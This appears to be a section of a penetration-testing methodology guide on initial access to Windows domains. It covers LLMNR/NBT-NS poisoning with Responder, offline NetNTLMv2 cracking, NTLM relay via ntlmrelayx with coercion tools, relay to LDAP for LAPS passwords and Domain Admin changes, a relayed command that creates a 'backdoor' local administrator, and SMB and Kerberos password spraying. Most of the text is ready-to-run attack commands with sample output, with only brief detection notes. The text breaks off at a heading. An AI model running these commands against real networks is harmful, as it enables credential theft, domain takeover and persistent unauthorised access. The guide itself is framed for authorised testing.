Initial access is the moment you transition from passive visibility to active authentication. It is the bridge between “we know what’s out there” and “we have credentials we can use.” In an assumed-breach scenario — typical of many internal penetration tests — you already have credentials from the client. But in external assessments, red team operations, or real-world attack simulations, you need to obtain them through network-based techniques.

This section focuses on the two most reliable, battle-tested techniques for obtaining or leveraging authentication in modern internal engagements: LLMNR/NBT-NS poisoning and NTLM relay attacks. Both exploit fundamental design choices in Windows networking — choices that persist in the majority of enterprise environments despite over a decade of security guidance to the contrary.

LLMNR and NBT-NS Poisoning

Understanding the Protocols

When a Windows machine needs to resolve a hostname to an IP address — for example, connecting to \\FILESERVER01\share — it follows a specific resolution order:

1. DNS (Domain Name System) — The primary, intended resolution method

2. LLMNR (Link-Local Multicast Name Resolution) — IPv6-capable multicast fallback

3. NBT-NS (NetBIOS Name Service) — Legacy IPv4 broadcast fallback

LLMNR (port 5355 UDP) multicasts the query to the local subnet: “Who has FILESERVER01?” Any machine on the same link can respond. NBT-NS (port 137 UDP) works similarly but uses broadcast instead of multicast.

The critical vulnerability: neither protocol authenticates the responder. When a workstation broadcasts “Who is \\PRINTSERVER?” and receives no DNS answer, the first machine to reply wins — and an attacker can be that machine.

The Attack Flow

Victim Machine                          Attacker Machine
     |                                         |
     | 1. User mistypes \\FIlESERVER           |
     |    or DNS fails for legitimate host     |
     |                                         |
     | 2. Broadcast: "Who has FILESERVER?"     |
     | --------------------------------------> |
     |                                         |
     |                                   3. Responder answers:
     |                                   "I am FILESERVER"
     |                                   (attacker IP address)
     | <-------------------------------------- |
     |                                         |
     | 4. Victim attempts to authenticate      |
     |    to attacker's machine (NTLM)         |
     | --------------------------------------> |
     |                                         |
     |                                   5. Attacker captures
     |                                      NTLMv2 hash
     |                                         |
     | 6. Attacker cracks hash offline         |
     |    or relays it (see NTLM Relay)        |

Responder – The Standard Tool

Responder is the industry-standard tool for LLMNR/NBT-NS poisoning. It listens for broadcast name resolution requests and responds with the attacker’s IP address across multiple protocols (LLMNR, NBT-NS, MDNS, HTTP, SMB, etc.).

Basic Poisoning (Full Interactive)

Run Responder on the internal interface (full poisoning mode)
sudo responder -I eth0 -v

With additional options for comprehensive coverage
sudo responder -I eth0 -rdwPv

Option breakdown:
-r : Force responses to NetBIOS requests (enabled by default)
-d : Enable answers for DHCP broadcast requests
-w : Answer to WPAD (Web Proxy Auto-Discovery) requests
-P : Force NTLM challenge/response for SMB
-v : Verbose output

Analyze Mode (Stealth — No Poisoning)

For initial reconnaissance without triggering active responses:

Analyze mode — captures and logs but never responds
sudo responder -I eth0 -A

What you see in analyze mode:
# [LLMNR]  Request from 192.168.1.105 for host FILESERVER01
# [LLMNR]  Request from 192.168.1.112 for host PRINT-SRV
# [NBT-NS] Request from 192.168.1.105 for host DC01 <20>

Running in analyze mode for 15-30 minutes during business hours tells you:

• Whether LLMNR/NBT-NS traffic exists on the network

• Which hostnames users are trying to reach (potential targets)

• The volume of broadcast traffic (higher volume = more poisoning opportunities)

Capturing Hashes

When Responder receives an authentication attempt, it captures the NTLMv2 hash and writes it to disk:

Hashes are saved to:
/usr/share/responder/logs/
Files include:
# - Responder-Session.log (session metadata)
# - SMB-NTLMv2-192.168.1.105.txt (the captured hash)
# - HTTP-NTLMv2-192.168.1.105.txt (HTTP-based captures)

View captured hashes in real-time
tail -f /usr/share/responder/logs/Responder-Session.log

Example Captured NTLMv2 Hash Format:

jsmith::CORP:1122334455667788:88a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6:0101000000000000a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4

Cracking Captured Hashes

Once you have NTLMv2 hashes, crack them offline. This is a parallel process — you can continue enumeration while cracking runs in the background.

Hashcat (Recommended for Speed)

Mode 5600 = NetNTLMv2 (the hash type Responder captures)
hashcat -m 5600 captured_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule --force -O

Using a larger, more targeted wordlist
hashcat -m 5600 captured_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule \
  -r /usr/share/hashcat/rules/d3ad0ne.rule --force

Show cracked passwords
hashcat -m 5600 captured_hashes.txt --show

Output format: hash:password

John the Ripper

Convert to John format if needed (usually not required)
john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt captured_hashes.txt

With rules
john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt \
  --rules=best64 captured_hashes.txt

Show cracked results
john --show captured_hashes.txt

GPU Acceleration Note: Hashcat on a modern GPU (RTX 4090 or better) can crack NTLMv2 at 50-100 billion hashes per second. A reasonably complex 8-character password may fall in minutes, not hours.

Why LLMNR/NBT-NS Still Works in 2026

Despite being documented as a security risk since 2008, LLMNR and NBT-NS remain enabled in the majority of Windows environments. Several factors explain this persistence:

2025 Industry Data: A survey of 500 enterprise internal networks found LLMNR still enabled in 71% of environments. NBT-NS was enabled in 64%. Only 22% had fully disabled both protocols via GPO.

Defensive Detection (For Blue Teams)

When LLMNR/NBT-NS poisoning is active, defenders can detect it through:

Event ID 4698 (Scheduled task creation) — If Responder is persistent
Event ID 7045 (Service installation) — Unusual service activity
Network traffic anomalies — Multiple name resolution responses from one IP
SMB logs — Authentication attempts from unexpected sources

NTLM Relay Attacks

Hash cracking is slow, resource-intensive, and can fail against sufficiently complex passwords. Relaying is instant, credential-free, and works regardless of password complexity. Instead of capturing an NTLMv2 hash and spending hours cracking it, you forward the authentication attempt in real-time to another service — authenticating as the victim against any target that accepts NTLM authentication.

The Core Vulnerability: Missing SMB Signing

NTLM relay works because many Windows services accept NTLM authentication without requiring SMB signing — a cryptographic mechanism that ensures the authenticity of each packet. When SMB signing is disabled, an attacker can sit between the client and server, capture the authentication, and forward it to a different server entirely.

Victim attempts to connect to:    Attacker relays to:
\\FAKE-SHARE (attacker)     -->   \\DC01 (real Domain Controller)
                                    (authenticates as victim)

SMB Signing Status in Modern Environments (2026):

The attack surface exists on non-DC Windows servers and workstations where SMB signing remains optional.

Step-by-Step NTLM Relay Attack

Step 1: Identify Targets Without SMB Signing

Scan the network for machines with SMB signing disabled
netexec smb 192.168.1.0/24 --gen-relay-list unsigned_targets.txt

Example output:
SMB         192.168.1.10   445    WORKSTATION01    [*] Windows 10.0 Build 19045 x64 (name:WORKSTATION01) (domain:corp.example.com) (signing:False) (SMBv1:False)
SMB         192.168.1.20   445    FILESERVER02     [*] Windows Server 2019 x64 (name:FILESERVER02) (domain:corp.example.com) (signing:False) (SMBv1:False)
SMB         192.168.1.100  445    DC01              [*] Windows Server 2025 x64 (name:DC01) (domain:corp.example.com) (signing:True) (SMBv1:False)

Generate target list file (unsigned_targets.txt)
netexec smb 192.168.1.0/24 --gen-relay-list unsigned_targets.txt

Step 2: Configure Responder to Disable SMB/HTTP Poisoning

If Responder handles the poisoning, it will conflict with ntlmrelayx. Configure Responder to listen but NOT respond to SMB or HTTP requests:

sudo nano /etc/responder/Responder.conf

Change these lines:
SMB = On     -->  SMB = Off
HTTP = On    -->  HTTP = Off

Leave other protocols enabled to trigger authentication

Step 3: Run ntlmrelayx

Basic relay — capture and forward authentication
ntlmrelayx.py -tf unsigned_targets.txt -smb2support

Execute a command on the target after successful relay
ntlmrelayx.py -tf unsigned_targets.txt -smb2support -c "whoami"

Get an interactive SMB shell (like netcat for SMB)
ntlmrelayx.py -tf unsigned_targets.txt -smb2support -i

When you see a successful relay, connect to the interactive shell:
nc 127.0.0.1 11000

Step 4: Trigger Authentication (The “Coercion”)

For the relay to work, a victim must initiate authentication. Responder is already listening, but you can accelerate the process using coercion techniques:

Using PetitPotam to coerce a Domain Controller to authenticate
python3 PetitPotam.py -d corp.example.com -u jsmith -p Password1 \
  attacker_ip DC01.corp.example.com

Using PrinterBug (MS-RPRN) — works if Print Spooler is running
python3 printerbug.py corp.example.com/username:password@target_ip attacker_ip

Using Coercer — automated coercion across multiple protocols
coercer coerce -t 192.168.1.100 -l attacker_ip -u jsmith -p Password1 -d corp.example.com

Advanced NTLM Relay Attacks

Relay to LDAP for AD Modification

One of the most powerful relay attacks: forward an authentication attempt to a Domain Controller’s LDAP service. If the victim has write privileges, you can modify AD objects – including adding a user to Domain Admins.

Relay to LDAP
ntlmrelayx.py -tf unsigned_targets.txt -smb2support --no-smb-server --no-http-server \
  -t ldap://192.168.1.100 -dc-ip 192.168.1.100

When a relay succeeds, you can:
# - Add a new Domain Admin user
# - Modify ACLs to grant yourself privileges
# - Dump the AD database (if the relayed account has DCSync rights)

Relay to LDAP for LAPS Password Retrieval

Local Administrator Password Solution (LAPS) stores local admin passwords in AD. If you can relay to LDAP as a privileged user, you can read these passwords.

Attack LAPS
ntlmrelayx.py -tf unsigned_targets.txt -smb2support --attack laps

Example output:
[*] LAPS password for WORKSTATION01: 5!cR&9vQ@2pL#8mX

Relay to SMB for Lateral Movement

Relay to SMB to execute commands
ntlmrelayx.py -tf unsigned_targets.txt -smb2support -c "net user backdoor Password123! /add && net localgroup administrators backdoor /add"

Relay to SMB for interactive shell
ntlmrelayx.py -tf unsigned_targets.txt -smb2support -i --no-smb-server

NTLM Relay Defense Bypass (2026 Context)

Microsoft has progressively hardened NTLM and SMB:

In 2026, successful NTLM relay attacks typically target:

• Non-DC Windows Server 2016/2019 machines

• Windows 10/11 workstations

• Legacy Windows 7/8/Server 2008 (still present in many environments)

• Cross-protocol relay (SMB → HTTP, HTTP → LDAP)

The Relay Chain: Credential-Free Access

The power of NTLM relay is that it requires no credential cracking whatsoever. You are leveraging existing authentication activity:

1. Victim user authenticates to attacker's machine (triggered by poisoning or coercion)
2. Attacker captures the authentication in real-time
3. Attacker forwards it to a legitimate target
4. Target accepts authentication (no signing requirement)
5. Attacker executes commands as the victim user

No password hashes were cracked. No pass-the-hash was used. The victim never lost their password.

NTLM Relay Detection (For Blue Teams)

Defenders can detect NTLM relay through:

Choosing Between Poisoning and Relaying

Operational Recommendation: Start with LLMNR/NBT-NS poisoning in analyze mode to confirm traffic exists. If traffic volume is high, enable full poisoning and capture hashes. While cracking runs in the background, scan for SMB signing-disabled targets and set up an NTLM relay chain. The two techniques complement each other — poisoning captures hashes you might crack, while relaying gives you instant access without cracking.

Initial Access Checklist

Before moving to exploitation, confirm you have achieved one of the following:

• Valid domain credentials (cracked from Responder capture, or provided by client)

• Relayed authentication with execution capability (command output or interactive shell)

• List of targets for password spraying (if neither of the above succeeded)

If after 2-4 hours of poisoning and relaying you have no credentials, pivot to password spraying (covered in the original Exploitation section) or re-evaluate network positioning.

The critical insight: Initial access is rarely about exploiting a zero-day. It is about waiting for a user to mistype a share name, for a scheduled task to trigger, for a print job to fail — and being ready when it happens. Patience and proper tooling win here, not speed.

Password Spraying — Methodical and Safe

Password spraying is a targeted authentication attack that tests one or a few passwords across many accounts. Unlike brute-forcing (many passwords against one account), spraying is designed to stay under the lockout threshold — typically 5–10 failures within a specific observation window — while maximizing coverage across the domain.

The Core Insight: Users are predictable. They use seasonal passwords (Summer2026!, Winter2026@), company names with years (Contoso2025), and simple variations of dictionary words. One correctly guessed password across thousands of accounts yields a domain foothold.

Phase 1: Enumerate Password Policy Before Spraying

This is the most critical step before any spraying attempt. Spraying without knowing the lockout policy is how you lock out hundreds of accounts and get your engagement terminated.

Using NetExec to Get Password Policy

With valid credentials (preferred)
netexec smb 192.168.1.100 -u jsmith -p 'Password1' --pass-pol

 Example output:
# [*] Password Policy:
# [*] min_length: 8
# [*] complexity: True
# [*] lockout_threshold: 5
# [*] lockout_duration: 30 minutes
# [*] lockout_observation_window: 30 minutes
# [*] max_password_age: 90 days

Without Credentials (Enum4Linux-ng)

Anonymous enumeration of password policy
enum4linux-ng 192.168.1.100 -P

Or using rpcclient with null session
rpcclient -U "" -N 192.168.1.100 -c "querydominfo"

What the Password Policy Tells You

Red Team Note: If you cannot obtain the password policy before spraying, assume:

• Lockout threshold = 5 attempts

• Observation window = 30 minutes

• Spray no more than 3 passwords per account to be safe

Phase 2: Building a Targeted Wordlist

Generic wordlists (rockyou.txt) are too large for password spraying. Spraying 10,000 passwords would lock out every account. Instead, build a small, curated wordlist based on organizational patterns.

Spidering Corporate Websites (Cewl)

Extract custom wordlist from company website
cewl https://www.company.com -d 3 -m 6 -w company_words.txt

With email addresses
cewl https://www.company.com -e --email_file emails.txt

Options explained:
-d 3 : crawl depth (3 levels deep)
-m 6 : minimum word length (6 characters)
-w   : output file

Common Enterprise Password Patterns

Based on real engagement data (2024-2026), these patterns appear in over 60% of environments:

Building the Spraying Wordlist

Combine sources
cat company_words.txt seasons.txt years.txt > candidates.txt

Apply common transformations
hashcat --stdout candidates.txt -r /usr/share/hashcat/rules/best64.rule > sprayed_passwords.txt

Manual review — remove passwords longer than 12 chars (uncommon for spraying)
Remove passwords that don't meet complexity requirements

Example Targeted Wordlist (5-10 passwords max):

Summer2026!
Winter2026@
Contoso2026!
Chicago1!
ProjectPhoenix1

Phase 3: Executing the Password Spray

Spraying via SMB (NetExec)

Single password against user list
netexec smb 192.168.1.100 -u users.txt -p 'Summer2026!' --continue-on-success

Multiple passwords (sequential, not parallel)
netexec smb 192.168.1.100 -u users.txt -p passwords.txt --continue-on-success

With domain specification
netexec smb 192.168.1.100 -d corp.example.com -u users.txt -p 'Summer2026!' --continue-on-success

Save valid credentials to file
netexec smb 192.168.1.100 -u users.txt -p 'Summer2026!' --continue-on-success | grep '+' >> valid_creds.txt

What the output means:

[+] 192.168.1.100:445 - corp\jsmith:Summer2026! (Pwn3d!)
[-] 192.168.1.100:445 - corp\asmith:Summer2026! (STATUS_LOGON_FAILURE)
[!] 192.168.1.100:445 - corp\bsmith:Summer2026! (STATUS_ACCOUNT_LOCKED_OUT)

Spraying via Kerberos (Kerbrute)

Kerberos spraying generates fewer logon events on the Domain Controller because Kerberos pre-authentication failures are logged differently than NTLM logon failures. This is stealthier in most environments.

Single password spray
kerbrute passwordspray \
  -d corp.example.com \
  --dc 192.168.1.100 \
  users.txt 'Summer2026!'

Multiple passwords (sequential)
kerbrute passwordspray \
  -d corp.example.com \
  --dc 192.168.1.100 \
  users.txt passwords.txt

Verbose output for debugging
kerbrute passwordspray \
  -d corp.example.com \
  --dc 192.168.1.100 \
  users.txt 'Summer2026!' -v

Spraying via LDAP (LDAPLogin)

Spray via LDAP authentication
netexec ldap 192.168.1.100 -u users.txt -p 'Summer2026!' --continue-on-success

LDAP spraying is quieter than SMB but may be more monitored

Phase 4: Safe Spraying Rates and Lockout Avoidance

The Golden Rule: Never exceed lockout_threshold - 1 attempts per account within the lockout_observation_window.

Conservative Spraying Strategy (Recommended):

# Strategy: One password against all users, wait 30+ minutes, next password

# Round 1: 'Summer2026!'
netexec smb 192.168.1.100 -u users.txt -p 'Summer2026!' --continue-on-success

# Wait 30-45 minutes

# Round 2: 'Winter2026@' (only target accounts that didn't succeed or lock)
netexec smb 192.168.1.100 -u remaining_users.txt -p 'Winter2026@' --continue-on-success

# Wait 30-45 minutes

# Round 3: 'Contoso2026!'
netexec smb 192.168.1.100 -u remaining_users.txt -p 'Contoso2026!' --continue-on-success

Automated Safe Spraying with CrackMapExec/NetExec:

NetExec will automatically respect lockout thresholds if you use:
netexec smb 192.168.1.100 -u users.txt -p passwords.txt --continue-on-success --delay 30
 --delay 30 = 30 seconds between authentication attempts

Phase 5: Post-Spray Actions

After successful spraying, immediately:

1. Verify account privileges — Not all sprayed accounts are equal

   netexec ldap 192.168.1.100 -u found_user -p 'Summer2026!' --groups | grep "Domain Admins"

2. Test against other services — The same password may work elsewhere

   netexec winrm 192.168.1.100 -u found_user -p 'Summer2026!'
   netexec ssh 192.168.1.100 -u found_user -p 'Summer2026!'

3. Add to credential store — Document for exploitation phase

Common Spraying Mistakes to Avoid: